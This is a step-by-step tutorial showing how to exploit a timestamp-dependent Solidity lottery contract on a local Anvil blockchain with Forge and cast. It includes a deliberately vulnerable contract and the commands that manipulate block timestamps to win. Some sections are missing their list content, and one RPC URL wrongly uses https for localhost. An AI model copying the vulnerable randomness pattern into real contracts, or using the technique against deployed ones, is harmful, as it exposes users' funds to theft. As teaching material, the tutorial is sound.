Timestamp Dependency Smart Contract Exploit Using Forge: Step-by-Step Guide
A Timestamp Dependence attack occurs when a smart contract relies on the block.timestamp for critical operations like randomness or time-based conditions. Miners can slightly manipulate the block’s timestamp (usually within a range of 15 seconds), leading to exploitable vulnerabilities. In this guide, we'll show how to simulate and exploit a timestamp dependence vulnerability using Forge to deploy and attack the contract on a local blockchain.
Key Definitions
Step-by-Step Guide to Perform the?Attack
Prerequisites
Install Foundry: Ensure Foundry is installed and up to date.
curl -L https://foundry.paradigm.xyz | bash
foundryup
Run Local Blockchain: You will use Anvil (Foundry’s Ethereum simulator) to run a local blockchain environment.
anvil
Initialize a New Project: Create a new project to hold the smart contract and testing files.
forge init timestamp-attack-project
cd timestamp-attack-project
Writing the Vulnerable Smart?Contract
Create a file Lottery.sol in the src folder with the following vulnerable lottery code.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Lottery {
address public winner;
uint256 public prevBlockTime;
constructor() payable {}
function play() external payable {
require(msg.value == 1 ether, "Must send 1 ether to play.");
require(block.timestamp != prevBlockTime, "Only one play per block.");
prevBlockTime = block.timestamp;
// Vulnerability: Timestamp dependence for randomness
if (block.timestamp % 7 == 0) {
winner = msg.sender;
payable(msg.sender).transfer(address(this).balance);
}
}
}
Compile the?Contract
Compile the contract using Forge.
forge build
This will compile Lottery.sol and ensure there are no syntax errors.
Deploy the Contract?Locally
Start your local blockchain in one terminal.
anvil
Deploy the contract using the deployer address (your private key) to send the transaction.
forge create ./src/Lottery.sol:Lottery --rpc-url https://localhost:8545 --private-key <deployer_private_key> --value 10ether
领英推荐
Playing the Game (Interacting with the Deployed Contract)
After deployment, players interact with the contract using the deployed contract address. In this example, a player sends 1 Ether to play the game.
Use the deployed contract address to play the game (this is not the deployer’s address but the contract’s address)
cast send --value 1ether <deployed_contract_address> "play()" --private-key <player_private_key>
Here, the player’s private key is used to interact with the contract. The player sends 1 Ether to call the play() function.
Manipulating the Block Timestamp
To exploit the vulnerability, the attacker (typically a miner) manipulates the block timestamp to ensure it meets the condition block.timestamp % 7 == 0. This guarantees the attacker will win.
Control the Timestamp: Use Anvil’s tool to manipulate block times by setting an interval
cast rpc anvil_setBlockTimestampInterval 14
This command sets the interval between block timestamps to 14 seconds, allowing more precise control.
Adjust the Timestamp to Ensure Winning: Manually set a block’s timestamp to a value divisible by 7
cast rpc anvil_setBlockTimestamp <desired_timestamp>
For example, set desired_timestamp to a value that satisfies desired_timestamp % 7 == 0.
Play the Game Again with the Manipulated Timestamp: After manipulating the timestamp, the attacker sends 1 Ether again using their private key
cast send --value 1ether <deployed_contract_address> "play()" --private-key <attacker_private_key>
With the manipulated timestamp, the attacker can guarantee that they win the lottery by satisfying the modulo condition.
Confirming the?Attack
After the attack, verify that the attacker is now the winner by calling the winner() function
cast call <deployed_contract_address> "winner()" --private-key <attacker_private_key>
If successful, the attacker’s address will be returned as the winner, and the contract’s balance will be transferred to their account.
Preventing Timestamp Dependence Vulnerabilities
To prevent such attacks, avoid using block.timestamp for critical logic like randomness or decision-making in smart contracts. Instead:
Conclusion
This guide demonstrated how to perform a timestamp dependence attack using Forge and a local blockchain setup. We covered the difference between the deployer address (used only for contract deployment) and the deployed contract address (where interactions happen). By manipulating the block’s timestamp, an attacker can exploit contracts that rely on it for randomness. Following best practices can help mitigate such vulnerabilities in future smart contracts.